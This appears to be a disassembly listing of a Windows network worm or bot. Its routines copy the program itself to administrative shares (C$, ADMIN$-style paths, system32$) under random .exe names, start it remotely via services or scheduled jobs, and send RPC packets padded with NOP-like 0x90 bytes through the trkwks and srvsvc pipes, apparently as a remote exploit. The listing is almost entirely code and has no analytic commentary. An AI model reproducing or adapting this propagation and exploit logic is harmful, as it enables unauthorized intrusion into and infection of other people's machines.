		mov	[ebp+var_A4], offset asc_43E004	; "L$"
		mov	[ebp+var_A0], offset aM_3 ; "M$"
		mov	[ebp+var_9C], offset aN_0 ; "N$"
		mov	[ebp+var_98], offset aO	; "O$"
		mov	[ebp+var_94], offset aP_3 ; "P$"
		mov	[ebp+var_90], offset aQ_0 ; "Q$"
		mov	[ebp+var_8C], offset aR	; "R$"
		mov	[ebp+var_88], offset aT	; "T$"
		mov	[ebp+var_84], offset aU_0 ; "U$"
		mov	[ebp+var_80], offset aV	; "V$"
		mov	[ebp+var_7C], offset aW	; "W$"
		mov	[ebp+var_78], offset asc_43DFDC	; "X$"
		mov	[ebp+var_74], offset aY_0 ; "Y$"
		mov	[ebp+var_70], offset aZ_1 ; "Z$"
		mov	[ebp+var_6C], eax
		mov	[ebp+var_68], offset aCWinnt ; "C:\\WINNT$"
		mov	[ebp+var_64], offset aDWindows ; "D:\\WINDOWS$"
		mov	[ebp+var_60], offset aCWinntSystem32 ; "C:\\WINNT\\system32$"
		mov	[ebp+var_5C], eax
		mov	[ebp+var_58], offset aDWinntSystem32 ; "D:\\WINNT\\system32$"
		mov	[ebp+var_54], offset aDWindowsSystem ; "D:\\WINDOWS\\system32$"
		mov	[ebp+var_50], offset aEWinntSystem32 ; "E:\\WINNT\\system32$"
		mov	[ebp+var_4C], offset aEWindowsSystem ; "E:\\WINDOWS\\system32$"
		mov	[ebp+var_48], offset aCDocume1Admini ; "C$\\DOCUME~1\\ADMINI~1\\"
		mov	[ebp+var_44], offset aDDocume1Admini ; "D$\\DOCUME~1\\ADMINI~1\\"
		mov	[ebp+var_40], offset aCDocume1Admi_0 ; "C$\\DOCUME~1\\ADMINI~1$"
		mov	[ebp+var_3C], offset aDDocume1Admi_0 ; "D$\\DOCUME~1\\ADMINI~1$"
		mov	[ebp+var_38], offset aAdministrado_1 ; "ADMINISTRADOR$"
		mov	[ebp+var_34], offset aAdministrato_1 ; "ADMINISTRATOR$"
		mov	[ebp+var_30], offset aPipe_0 ; "PIPE\\"
		mov	[ebp+var_2C], offset aPipe ; "PIPE$"
		mov	[ebp+var_28], offset aWindows_0	; "WINDOWS$"
		mov	[ebp+var_24], offset aWinnt_0 ;	"WINNT$"
		mov	[ebp+var_20], offset aMysql_0 ;	"MYSQL$"
		mov	[ebp+var_1C], offset aMssql_0 ;	"MSSQL$"
		mov	[ebp+var_18], offset aDrivec ; "drivec$"
		mov	[ebp+var_14], offset aBrowser ;	"BROWSER$"
		mov	[ebp+var_10], offset aDevice0 ;	"device0$"
		mov	[ebp+var_C], edi
		call	sub_429B9C
		push	9
		pop	edi
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		mov	ebx, offset aSDDDDD_exe	; "%s%d%d%d%d%d.exe"
		idiv	ecx
		lea	eax, [ebp+var_30C]
		push	edx
		push	offset dword_4439B4
		push	ebx
		push	eax
		call	sub_429B03
		add	esp, 20h
		lea	eax, [ebp+var_410]
		push	esi
		push	eax
		push	0
		call	dword_437070	; GetModuleHandleA
		push	eax
		call	dword_43717C	; GetModuleFileNameA
		and	[ebp+var_4], 0
		mov	esi, offset aSSS_4 ; "%s\\%s\\%s"


loc_4056DF:				; CODE XREF: sub_40541D+3E4j
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_30C]
		push	ecx
		mov	eax, [ebp+eax*4+var_E8]
		push	eax
		lea	eax, [ebp+var_20C]
		push	[ebp+arg_8]
		push	esi
		push	eax
		call	sub_429B03
		add	esp, 14h
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_43706C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405728
		lea	eax, [ebp+var_20C]
		push	80h
		push	eax
		call	dword_437068	; SetFileAttributesA


loc_405728:				; CODE XREF: sub_40541D+2F7j
		lea	eax, [ebp+var_20C]
		push	0
		push	eax
		lea	eax, [ebp+var_410]
		push	eax
		call	dword_437064	; CopyFileA
		test	eax, eax
		mov	[ebp+var_8], eax
		jnz	loc_405811
		call	dword_437170	; RtlGetLastWin32Error
		cmp	eax, 5
		jnz	loc_4057FA
		lea	eax, [ebp+var_20C]
		push	0
		push	eax
		call	sub_42A6C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057FA
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		lea	eax, [ebp+var_30C]
		push	edx
		push	offset dword_4439B4
		push	ebx
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_30C]
		push	eax
		mov	eax, [ebp+var_4]
		push	[ebp+eax*4+var_E8]
		lea	eax, [ebp+var_20C]
		push	[ebp+arg_8]
		push	esi
		push	eax
		call	sub_429B03
		add	esp, 34h
		lea	eax, [ebp+var_20C]
		push	0
		push	eax
		lea	eax, [ebp+var_410]
		push	eax
		call	dword_437064	; CopyFileA
		test	eax, eax
		mov	[ebp+var_8], eax
		jnz	short loc_405811


loc_4057FA:				; CODE XREF: sub_40541D+335j
					; sub_40541D+34Dj
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 38h
		jb	loc_4056DF
		cmp	[ebp+var_8], 0
		jz	loc_40594F


loc_405811:				; CODE XREF: sub_40541D+326j
					; sub_40541D+3DBj
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_30C]
		push	ecx
		push	[ebp+arg_4]
		mov	eax, [ebp+eax*4+var_E8]
		mov	[ebp+var_4], eax
		push	[ebp+arg_0]
		push	[ebp+arg_8]
		push	eax
		call	sub_4051EF
		add	esp, 14h
		test	eax, eax
		jz	loc_4058FF
		mov	ebx, offset aSSSSSSCreateds ; "%s %s: -> [%s\\%s, %s/%s] (CreatedServic"...


loc_405844:				; CODE XREF: sub_40541D+4FCj
		cmp	[ebp+arg_D0], 0
		mov	edi, offset dword_43A357
		mov	esi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		jz	short loc_4058A0
		cmp	[ebp+arg_C8], 0
		jnz	short loc_4058A9
		push	offset byte_454A54
		push	[ebp+arg_4]
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		mov	eax, offset aBlank ; "(Blank)"
		jz	short loc_40587A
		mov	eax, [ebp+arg_4]


loc_40587A:				; CODE XREF: sub_40541D+458j
		push	eax
		mov	eax, [ebp+arg_C0]
		push	[ebp+arg_0]
		shl	eax, 6
		push	[ebp+var_4]
		add	eax, edi
		push	[ebp+arg_8]
		push	eax
		push	esi
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 24h


loc_4058A0:				; CODE XREF: sub_40541D+438j
		cmp	[ebp+arg_C8], 0
		jz	short loc_4058E9


loc_4058A9:				; CODE XREF: sub_40541D+441j
		push	offset byte_454A54
		push	[ebp+arg_4]
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		mov	eax, offset aBlank ; "(Blank)"
		jz	short loc_4058C3
		mov	eax, [ebp+arg_4]


loc_4058C3:				; CODE XREF: sub_40541D+4A1j
		push	eax
		mov	eax, [ebp+arg_C0]
		push	[ebp+arg_0]
		shl	eax, 6
		push	[ebp+var_4]
		add	eax, edi
		push	[ebp+arg_8]
		push	eax
		push	esi
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 24h


loc_4058E9:				; CODE XREF: sub_40541D+48Aj
		mov	eax, [ebp+arg_C0]
		xor	edi, edi
		shl	eax, 6
		lea	eax, dword_43A380[eax]
		inc	dword ptr [eax]
		inc	edi
		jmp	short loc_405951
; ---------------------------------------------------------------------------


loc_4058FF:				; CODE XREF: sub_40541D+41Cj
		lea	eax, [ebp+var_30C]
		push	eax
		push	[ebp+arg_8]
		call	sub_40535C
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40591E
		mov	ebx, offset aSSSSSSNetsched ; "%s %s: -> [%s\\%s, %s/%s] (NetSchedJobAd"...
		jmp	loc_405844
; ---------------------------------------------------------------------------


loc_40591E:				; CODE XREF: sub_40541D+4F5j
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_43706C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405942
		lea	eax, [ebp+var_20C]
		push	80h
		push	eax
		call	dword_437068	; SetFileAttributesA


loc_405942:				; CODE XREF: sub_40541D+511j
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_437060	; DeleteFileA


loc_40594F:				; CODE XREF: sub_40541D+3EEj
		xor	edi, edi


loc_405951:				; CODE XREF: sub_40541D+5Aj
					; sub_40541D+4E0j
		push	1
		push	1
		push	[ebp+arg_8]
		call	dword_456FB0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40541D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405965	proc near		; CODE XREF: sub_4059BF+137p
					; sub_4059BF+1B4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	off_43CE08, 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_4059B3
		mov	eax, offset off_43CE08
		mov	ebx, eax


loc_40597B:				; CODE XREF: sub_405965+4Cj
		sub	esp, 0C4h
		lea	esi, [ebp+arg_10]
		push	31h
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_C]
		rep movsd
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		push	[ebp+arg_0]
		call	sub_40541D
		add	esp, 0D8h
		cmp	eax, 1
		jz	short loc_4059BA
		add	ebx, 4
		mov	eax, ebx
		cmp	dword ptr [ebx], 0
		jnz	short loc_40597B


loc_4059B3:				; CODE XREF: sub_405965+Dj
		xor	eax, eax


loc_4059B5:				; CODE XREF: sub_405965+58j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4059BA:				; CODE XREF: sub_405965+42j
		xor	eax, eax
		inc	eax
		jmp	short loc_4059B5
sub_405965	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059BF	proc near		; CODE XREF: sub_406D7F+366p

var_62C		= byte ptr -62Ch
var_244		= byte ptr -244h
var_118		= byte ptr -118h
var_50		= byte ptr -50h
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 62Ch
		push	ebx
		push	esi
		lea	eax, [ebp+arg_8]
		push	edi
		push	eax
		lea	eax, [ebp+var_30]
		xor	ebx, ebx
		push	offset aS_0	; "\\\\%s"
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_18], ebx
		call	sub_429B03
		add	esp, 0Ch
		lea	eax, [ebp+var_62C]
		push	3E8h
		push	eax
		lea	eax, [ebp+var_30]
		push	0FFFFFFFFh
		push	eax
		push	ebx
		push	ebx
		call	dword_437184	; MultiByteToWideChar
		lea	eax, [ebp+var_30]
		mov	[ebp+var_40], ebx
		push	eax
		lea	eax, [ebp+var_118]
		push	offset aSIpc	; "%s\\IPC$"
		push	eax
		mov	[ebp+var_34], ebx
		mov	[ebp+var_4C], ebx
		call	sub_429B03
		lea	eax, [ebp+var_118]
		add	esp, 0Ch
		mov	[ebp+var_3C], eax
		mov	eax, offset byte_454A54
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	dword_457000
		test	eax, eax
		jz	short loc_405A5F
		push	1
		lea	eax, [ebp+var_118]
		push	ebx
		push	eax
		call	dword_456FB0
		xor	eax, eax
		jmp	loc_405B93
; ---------------------------------------------------------------------------


loc_405A5F:				; CODE XREF: sub_4059BF+87j
					; sub_4059BF+16Ej
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		lea	eax, [ebp+var_62C]
		push	ebx
		push	eax
		call	dword_456E60
		mov	[ebp+var_C], eax
		push	1
		lea	eax, [ebp+var_118]
		push	ebx
		push	eax
		call	dword_456FB0
		cmp	[ebp+var_C], ebx
		jz	short loc_405AA2
		cmp	[ebp+var_C], 0EAh
		jnz	short loc_405B15


loc_405AA2:				; CODE XREF: sub_4059BF+D8j
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		mov	[ebp+var_10], eax
		jz	short loc_405B26
		cmp	[ebp+var_14], ebx
		mov	[ebp+var_8], ebx
		jbe	short loc_405B15


loc_405AB4:				; CODE XREF: sub_4059BF+154j
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_405B15
		push	ebx
		push	ebx
		lea	ecx, [ebp+var_244]
		push	12Ch
		push	ecx
		push	0FFFFFFFFh
		push	dword ptr [eax]
		push	ebx
		push	ebx
		call	dword_437074	; WideCharToMultiByte
		sub	esp, 0C4h
		lea	eax, [ebp+var_30]
		lea	esi, [ebp+arg_8]
		push	31h
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_4]
		rep movsd
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_244]
		push	eax
		call	sub_405965
		add	esp, 0D4h
		cmp	eax, 1
		jz	short loc_405B15
		add	[ebp+var_10], 4
		inc	[ebp+var_8]
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_14]
		jb	short loc_405AB4


loc_405B15:				; CODE XREF: sub_4059BF+E1j
					; sub_4059BF+F3j ...
		cmp	[ebp+var_4], ebx
		jz	short loc_405B26
		push	[ebp+var_4]
		call	dword_456FE0
		mov	[ebp+var_4], ebx


loc_405B26:				; CODE XREF: sub_4059BF+EBj
					; sub_4059BF+159j
		cmp	[ebp+var_C], 0EAh
		jz	loc_405A5F
		cmp	[ebp+var_4], ebx
		jz	short loc_405B41
		push	[ebp+var_4]
		call	dword_456FE0


loc_405B41:				; CODE XREF: sub_4059BF+177j
		cmp	[ebp+var_C], 5
		jnz	short loc_405B90
		cmp	off_43CBE8, ebx
		jz	short loc_405B90
		mov	eax, offset off_43CBE8
		mov	[ebp+var_8], eax


loc_405B57:				; CODE XREF: sub_4059BF+1CFj
		sub	esp, 0C4h
		lea	esi, [ebp+arg_8]
		push	31h
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_4]
		rep movsd
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_30]
		push	ecx
		push	dword ptr [eax]
		call	sub_405965
		add	esp, 0D4h
		cmp	eax, 1
		jz	short loc_405B90
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax
		cmp	[eax], ebx
		jnz	short loc_405B57


loc_405B90:				; CODE XREF: sub_4059BF+186j
					; sub_4059BF+18Ej ...
		xor	eax, eax
		inc	eax


loc_405B93:				; CODE XREF: sub_4059BF+9Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4059BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_405B98	proc near		; DATA XREF: .text:0043A004o
		jmp	$+5
sub_405B98	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_405B9D	proc near
		mov	eax, dword_43E0C8
		add	eax, 6
		mov	dword_455394, eax
		retn
sub_405B9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405BAB	proc near		; CODE XREF: sub_405BAB+D0p
					; sub_405C99+5E4p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_405BBF
		or	[ebp+arg_7], 1
		jmp	short loc_405BC3
; ---------------------------------------------------------------------------


loc_405BBF:				; CODE XREF: sub_405BAB+Cj
		and	[ebp+arg_7], 0FEh


loc_405BC3:				; CODE XREF: sub_405BAB+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_405BE7
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_405BF9
; ---------------------------------------------------------------------------


loc_405BE7:				; CODE XREF: sub_405BAB+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_405BF9:				; CODE XREF: sub_405BAB+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_4297B8
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_405C92
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_429420
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	dword_437078	; WriteFile
		test	eax, eax
		jz	short loc_405C89
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_405C89
		push	[ebp+arg_20]
		call	sub_4298F2
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_405C85
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_405BAB
		add	esp, 2Ch
		jmp	short loc_405C94
; ---------------------------------------------------------------------------


loc_405C85:				; CODE XREF: sub_405BAB+B3j
		mov	al, 1
		jmp	short loc_405C94
; ---------------------------------------------------------------------------


loc_405C89:				; CODE XREF: sub_405BAB+9Cj
					; sub_405BAB+A4j
		push	[ebp+arg_20]
		call	sub_4298F2
		pop	ecx


loc_405C92:				; CODE XREF: sub_405BAB+61j
		xor	al, al


loc_405C94:				; CODE XREF: sub_405BAB+D8j
					; sub_405BAB+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405BAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405C99	proc near		; CODE XREF: sub_4063C0+4Fp

var_60DC	= byte ptr -60DCh
var_40DC	= byte ptr -40DCh
var_20DC	= byte ptr -20DCh
var_DC		= byte ptr -0DCh
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_D4		= dword	ptr -0D4h
var_D0		= word ptr -0D0h
var_CE		= word ptr -0CEh
var_CC		= dword	ptr -0CCh
var_C8		= word ptr -0C8h
var_C6		= word ptr -0C6h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= word ptr -0BCh
var_BA		= byte ptr -0BAh
var_B8		= byte ptr -0B8h
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_94		= dword	ptr -94h
var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= qword	ptr -68h
var_60		= word ptr -60h
var_5C		= byte ptr -5Ch
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_45		= byte ptr -45h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= qword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_B4		= dword	ptr  0BCh
arg_BC		= dword	ptr  0C4h
arg_C4		= dword	ptr  0CCh
arg_CC		= dword	ptr  0D4h

		push	ebp
		mov	ebp, esp
		mov	eax, 60DCh
		call	sub_429B60
		mov	eax, [ebp+arg_CC]
		push	ebx
		push	esi
		xor	ebx, ebx
		lea	esi, [eax+eax*4]
		push	edi
		shl	esi, 2
		cmp	byte_43E0B0[esi], bl
		jz	loc_405E05
		lea	eax, [ebp+arg_8]
		push	offset dword_43AB8C
		push	eax
		call	sub_42A8C0
		pop	ecx
		mov	edi, 2000h
		test	eax, eax
		pop	ecx
		jz	short loc_405D21
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSIpc_0	; "\\\\%s\\IPC$"
		lea	eax, [ebp+var_20DC]
		push	edi
		push	eax
		call	sub_429BBE
		push	20h
		lea	eax, [ebp+var_90]
		push	ebx
		push	eax
		call	sub_429760
		lea	eax, [ebp+var_20DC]
		add	esp, 1Ch
		mov	[ebp+var_7C], eax
		mov	eax, offset byte_454A54
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		call	sub_4290C4


loc_405D21:				; CODE XREF: sub_405C99+41j
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSPipeTrkwks ; "\\\\%s\\pipe\\trkwks"
		lea	eax, [ebp+var_40DC]
		push	edi
		push	eax
		call	sub_429BBE
		add	esp, 10h
		lea	eax, [ebp+var_40DC]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	dword_43705C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_CC], eax
		jnz	loc_405E0A
		lea	eax, [ebp+arg_8]
		push	offset dword_43AB8C
		push	eax
		call	sub_42A8C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405DBF
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSIpc_0	; "\\\\%s\\IPC$"
		lea	eax, [ebp+var_20DC]
		push	edi
		push	eax
		call	sub_429BBE
		push	20h
		lea	eax, [ebp+var_90]
		push	ebx
		push	eax
		call	sub_429760
		lea	eax, [ebp+var_20DC]
		add	esp, 1Ch
		mov	[ebp+var_7C], eax
		mov	eax, offset byte_454A54
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		call	sub_4290C4


loc_405DBF:				; CODE XREF: sub_405C99+DFj
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSPipeSrvsvc ; "\\\\%s\\pipe\\srvsvc"
		lea	eax, [ebp+var_40DC]
		push	edi
		push	eax
		call	sub_429BBE
		add	esp, 10h
		lea	eax, [ebp+var_40DC]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	dword_43705C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_CC], eax
		jnz	short loc_405E0A
		jmp	loc_4063B9
; ---------------------------------------------------------------------------


loc_405E05:				; CODE XREF: sub_405C99+24j
		mov	edi, 2000h


loc_405E0A:				; CODE XREF: sub_405C99+C7j
					; sub_405C99+165j
		cmp	byte_43E0B1[esi], bl
		jz	loc_405EB4
		lea	eax, [ebp+arg_8]
		push	offset dword_43AB8C
		push	eax
		call	sub_42A8C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E6F
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSIpc_0	; "\\\\%s\\IPC$"
		lea	eax, [ebp+var_20DC]
		push	edi
		push	eax
		call	sub_429BBE
		push	20h
		lea	eax, [ebp+var_90]
		push	ebx
		push	eax
		call	sub_429760
		lea	eax, [ebp+var_20DC]
		add	esp, 1Ch
		mov	[ebp+var_7C], eax
		mov	eax, offset byte_454A54
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		call	sub_4290C4


loc_405E6F:				; CODE XREF: sub_405C99+18Fj
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSPipeSrvsvc ; "\\\\%s\\pipe\\srvsvc"
		lea	eax, [ebp+var_40DC]
		push	edi
		push	eax
		call	sub_429BBE
		add	esp, 10h
		lea	eax, [ebp+var_40DC]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	dword_43705C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_CC], eax
		jz	loc_4063B9


loc_405EB4:				; CODE XREF: sub_405C99+177j
		push	48h
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		call	sub_429760
		push	10h
		mov	[ebp+var_D8], 5
		pop	eax
		mov	[ebp+var_D7], bl
		mov	[ebp+var_D4], eax
		push	eax
		lea	eax, [ebp+var_B8]
		push	offset dword_43E170
		push	eax
		mov	[ebp+var_D6], 0Bh
		mov	[ebp+var_D5], 3
		mov	[ebp+var_D0], 48h
		mov	[ebp+var_CE], bx
		mov	[ebp+var_CC], ebx
		mov	[ebp+var_C8], 10B8h
		mov	[ebp+var_C6], 10B8h
		mov	[ebp+var_C4], ebx
		mov	[ebp+var_C0], 1
		mov	[ebp+var_BC], bx
		mov	[ebp+var_BA], 1
		call	sub_429420
		push	10h
		lea	eax, [ebp+var_A4]
		push	offset dword_43E15C
		push	eax
		mov	[ebp+var_A8], 3
		call	sub_429420
		add	esp, 24h
		lea	eax, [ebp+var_DC]
		mov	[ebp+var_94], 2
		push	ebx
		push	eax
		lea	eax, [ebp+var_D8]
		push	48h
		push	eax
		push	[ebp+arg_CC]
		call	dword_437078	; WriteFile
		test	eax, eax
		jz	loc_406058
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_60DC]
		push	edi
		push	eax
		push	[ebp+arg_CC]
		call	dword_437084	; ReadFile
		push	ebx
		call	sub_42A7D5
		push	eax
		call	sub_429B8F
		push	14h
		lea	eax, [ebp+var_70]
		push	41h
		push	eax
		call	sub_429760
		push	1Ch
		lea	eax, [ebp+var_30]
		push	41h
		push	eax
		call	sub_429760
		add	esp, 20h
		call	sub_429B9C
		mov	[ebp+var_70], eax
		xor	eax, eax
		inc	eax
		cmp	byte_43E0B0[esi], bl
		mov	dword ptr [ebp+var_68+4], eax
		mov	dword ptr [ebp+var_68],	ebx
		mov	[ebp+var_6C], eax
		mov	[ebp+var_60], bx
		jz	short loc_405FF9
		push	4
		push	offset dword_4553A4
		jmp	short loc_40600B
; ---------------------------------------------------------------------------


loc_405FF9:				; CODE XREF: sub_405C99+355j
		cmp	byte_43E0B1[esi], bl
		jz	short loc_406020
		push	2
		pop	eax
		push	4
		push	offset loc_43E154


loc_40600B:				; CODE XREF: sub_405C99+35Ej
		mov	[ebp+var_2C], eax
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_28], ebx
		push	eax
		call	sub_429420
		add	esp, 0Ch


loc_406020:				; CODE XREF: sub_405C99+366j
		call	sub_429B9C
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp+var_30], edx
		call	sub_429B9C
		cdq
		idiv	edi
		mov	eax, dword_43E0A4[esi]
		mov	[ebp+var_18], ebx
		push	eax
		mov	[ebp+var_4], eax
		inc	edx
		mov	[ebp+var_1C], edx
		call	sub_4297B8
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jnz	short loc_406069


loc_406058:				; CODE XREF: sub_405C99+2EFj
		push	[ebp+arg_CC]
		call	dword_437044	; CloseHandle
		jmp	loc_4063B9
; ---------------------------------------------------------------------------


loc_406069:				; CODE XREF: sub_405C99+3BDj
		mov	eax, [ebp+var_4]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_429760
		mov	eax, [ebp+var_4]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_429760
		mov	eax, dword_43E0AC[esi]
		push	7
		add	eax, edi
		push	offset dword_43E098
		push	eax
		mov	[ebp-8], eax
		call	sub_429420
		push	dword_43E0CC
		mov	eax, [ebp-8]
		add	eax, 7
		push	offset dword_43A8E8
		push	eax
		call	sub_429420
		mov	eax, dword_43E0A8[esi]
		add	esp, 30h
